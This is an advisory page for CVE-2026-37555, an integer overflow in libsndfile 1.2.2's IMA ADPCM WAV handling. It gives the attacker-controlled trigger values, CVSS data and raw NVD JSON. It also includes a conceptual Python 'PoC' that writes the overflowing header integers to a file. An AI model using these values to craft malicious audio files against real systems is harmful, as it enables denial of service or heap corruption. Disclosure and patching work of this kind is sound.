Security Vulnerability Report
中文
CVE-2026-37555 CVSS 7.5 HIGH

CVE-2026-37555

Published: 2026-04-29 16:16:23
Last Modified: 2026-05-01 18:37:59

Description

An issue was discovered in libsndfile 1.2.2 IMA ADPCM codec. The AIFF code path (line 241) was fixed with (sf_count_t) cast, but the WAV code path (line 235) and close path (line 167) were not. When samplesperblock (int) * blocks (int) exceeds INT_MAX, the 32-bit multiplication overflows before being assigned to sf.frames (sf_count_t/int64). With samplesperblock=50000 and blocks=50000, the product 2500000000 overflows to -1794967296. This causes incorrect frame count leading to heap buffer overflow or denial of service. Both values come from the WAV file header and are attacker-controlled. This issue was discovered after an incomplete fix for CVE-2022-33065.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:libsndfile_project:libsndfile:1.2.2:*:*:*:*:*:*:* - VULNERABLE
libsndfile 1.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # PoC for CVE-2026-37555 # This script demonstrates the values that trigger the integer overflow. # In a real exploit, these values would be placed in specific offsets # within a WAV file header formatted for IMA ADPCM. # Vulnerability parameters from the description samplesperblock = 50000 blocks = 50000 # Calculate the product to demonstrate the overflow # 50000 * 50000 = 2,500,000,000 # 32-bit signed int max is 2,147,483,647 # The result overflows to a negative number. print(f"[+] Triggering CVE-2026-37555") print(f"[+] samplesperblock: {samplesperblock}") print(f"[+] blocks: {blocks}") print(f"[+] Product: {samplesperblock * blocks}") print(f"[+] If this product is calculated as a 32-bit int, it overflows.") # Example of how one might start crafting such a file (Conceptual) # A full valid WAV header with IMA ADPCM format is required for actual execution. with open('trigger_cve_2026_37555.bin', 'wb') as f: # Writing the malicious integers in Little Endian # These would correspond to specific fields in the 'fact' or 'fmt' chunk f.write(struct.pack('<I', samplesperblock)) f.write(struct.pack('<I', blocks)) print("[+] Generated binary payload containing trigger values.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-37555", "sourceIdentifier": "[email protected]", "published": "2026-04-29T16:16:23.410", "lastModified": "2026-05-01T18:37:59.183", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in libsndfile 1.2.2 IMA ADPCM codec. The AIFF code path (line 241) was fixed with (sf_count_t) cast, but the WAV code path (line 235) and close path (line 167) were not. When samplesperblock (int) * blocks (int) exceeds INT_MAX, the 32-bit multiplication overflows before being assigned to sf.frames (sf_count_t/int64). With samplesperblock=50000 and blocks=50000, the product 2500000000 overflows to -1794967296. This causes incorrect frame count leading to heap buffer overflow or denial of service. Both values come from the WAV file header and are attacker-controlled. This issue was discovered after an incomplete fix for CVE-2022-33065."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libsndfile_project:libsndfile:1.2.2:*:*:*:*:*:*:*", "matchCriteriaId": "4B4A418B-ABB5-4873-B762-D717D6FB9232"}]}]}], "references": [{"url": "https://gist.github.com/sgInnora/a5f5c19e4bf6f4fb74fab7b0ef2bfcc1", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/libsndfile/libsndfile/commit/9a829113c88a51e57c1e46473e90609e4b7df151", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/libsndfile/libsndfile/issues/833", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/libsndfile/libsndfile/issues/833", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Issue Tracking"]}]}}